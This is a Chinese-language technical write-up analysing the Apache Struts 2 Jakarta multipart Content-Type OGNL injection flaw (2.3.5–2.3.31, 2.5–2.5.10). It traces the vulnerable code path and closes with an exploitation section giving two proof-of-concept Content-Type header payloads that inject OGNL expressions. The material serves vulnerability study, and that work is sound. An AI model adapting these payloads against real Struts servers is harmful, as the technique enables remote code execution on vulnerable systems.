影响版本:
Struts 2.3.5 - Struts 2.3.31
Struts 2.5 - Struts 2.5.10
漏洞产生原因主要在于使用Jakarta插件处理文件上传操作,对content-type处理
【占坑】分析基于2.3.30,貌似高版本触发点不太一样,原理大致相同
0x01 踩坑
No, no I don’t give a… anymore.
0x02 分析
跟进分析
struct 使用java ee中的Filter去拦截请求,并实现自己的功能。也就是说,用户所发出的请求,首先会在org.apache.struts2.dispatcher.ng.filter
中的StrutsPrepareAndExecuteFilter
类去执行(即web.xml中配置的filter)。首先执行类中的doFilter方法。这个方法是自动调用的,在这里可以struct拦截用户的请求,并实现自己的业务代码。
执行prepare.wrapRequest()
跟进可见调用dispatcher.wrapRequest()
public HttpServletRequest wrapRequest(HttpServletRequest oldRequest) throws ServletException { HttpServletRequest request = oldRequest; try { request = this.dispatcher.wrapRequest(request); ServletActionContext.setRequest(request); return request; } catch (IOException var4) { throw new ServletException("Could not wrap servlet request with MultipartRequestWrapper!", var4); } }
再跟进到dispatcher.wrapRequest,可见先判断是否包含
multipart/form-data
这个header在这里,并没去区分是什么http方法,也就是说,get方法强行包含一个带有恶意代码的content-type头,也会执行到这里的。首先判断一下是否为null和是否包含multipart/form-data。如果不包含,也就是get方法和post表单提交,则执行else里面的内容。如果包含,也就是说可能有文件上传,则执行if里面的内容。
这里会通过getMultiPartRequest获取默认的解析器
而默认的就是jakarta,对应即为JakartaMultiPartRequest
跟进MultiPartRequestWrapper实例化,通过multi.parse开始解析即JakartaMultiPartRequest.parse
public MultiPartRequestWrapper(MultiPartRequest multiPartRequest, HttpServletRequest request, String saveDir, LocaleProvider provider, boolean disableRequestAttributeValueStackLookup) { super(request, disableRequestAttributeValueStackLookup); this.defaultLocale = Locale.ENGLISH; this.errors = new ArrayList(); this.multi = multiPartRequest; this.defaultLocale = provider.getLocale(); this.setLocale(request); try { this.multi.parse(request, saveDir); Iterator i$ = this.multi.getErrors().iterator(); while(i$.hasNext()) { String error = (String)i$.next(); this.addError(error); } } catch (IOException var8) { if (LOG.isWarnEnabled()) { LOG.warn(var8.getMessage(), var8, new String[0]); } this.addError(this.buildErrorMessage(var8, new Object[]{var8.getMessage()})); } }
关键代码
public void parse(HttpServletRequest request, String saveDir) throws IOException { String errorMessage; try { this.setLocale(request); this.processUpload(request, saveDir); } catch (SizeLimitExceededException var5) { ... } catch (Exception var6) { ... errorMessage = this.buildErrorMessage(var6, new Object[0]); ... } }
跟进processUpload,先通过parseRequest解析请求包信息,省略的代码是对表单内容的解析
protected void processUpload(HttpServletRequest request, String saveDir) throws FileUploadException, UnsupportedEncodingException { Iterator i$ = this.parseRequest(request, saveDir).iterator(); ... }
跟进parseRequest会发现调用upload.parseRequest
protected List<FileItem> parseRequest(HttpServletRequest servletRequest, String saveDir) throws FileUploadException { DiskFileItemFactory fac = this.createDiskFileItemFactory(saveDir); ServletFileUpload upload = this.createServletFileUpload(fac); return upload.parseRequest(this.createRequestContext(servletRequest)); }
跟进发现此处主要解析各个文件并保存到列表里
跟进到FileItemIteratorImpl,这里会调用JakartaMultiPartRequest.getContentType(),在if判断时候,会判断是否以multipart开头,可以在前加任意字符(包括
00
)即可进入else抛出异常Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryXd004BVJN9pBYBL2
这里是为了使用header中content-type里的boundary来分割data中的文件表单
private class FileItemIteratorImpl implements FileItemIterator { FileItemIteratorImpl(RequestContext ctx) throws FileUploadException, IOException { if (ctx == null) { throw new NullPointerException("ctx parameter"); } else { String contentType = ctx.getContentType(); if (null != contentType && contentType.toLowerCase(Locale.ENGLISH).startsWith("multipart/")) { ... } else { throw new FileUploadBase.InvalidContentTypeException(String.format("the request doesn't contain a %s or %s stream, content type header is %s", "multipart/form-data", "multipart/mixed", contentType)); } } } ... }
回到JakartaMultiPartRequest.parse捕获异常调用buildErrorMessage,然后本地化处理执行OGNL
流程梳理
st=>start: Dispatcher.wrapRequest(HttpServletRequest)优先判断content-type是否包含multipart/form-data,注意是包含
a=>operation: 创建默认配置的multipartHandlerName解析器即JakartaMultiPartRequest,调用parse开始解析
b=>operation: 多次跟进后,跟入到FileUploadBase.parseRequest(),通过FileItemIteratorImpl提取文件
c=>operation: 为提取文件,通过header中的content-type分割文件
d=>operation: 但在JakartaMultiPartRequest.getContentType时检测是否为multipart/开头
e=>operation: 报错,抛出异常,被JakartaMultiPartRequest.getContentType捕获
f=>operation: buildErrorMessage构建错误信息
en=>end: 调用本地化转化文本内容,一系列操作后OGNL执行
st->a->b->c->d->e->fen
0x03 利用条件
All 版本
0x04 利用方式
添加header
Content-Type: <char>maltipart/formdata payload
P.S.
- payload为ognl表达式,payload之前空格可不要,因为struts会自己提取表达式内容
- maltipart/formdata可以在任意位置,如果在ognl前就需要在前面添加一个任意字符构造报错
如:
Content-Type: 'maltipart/formdata%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}maltipart/formdata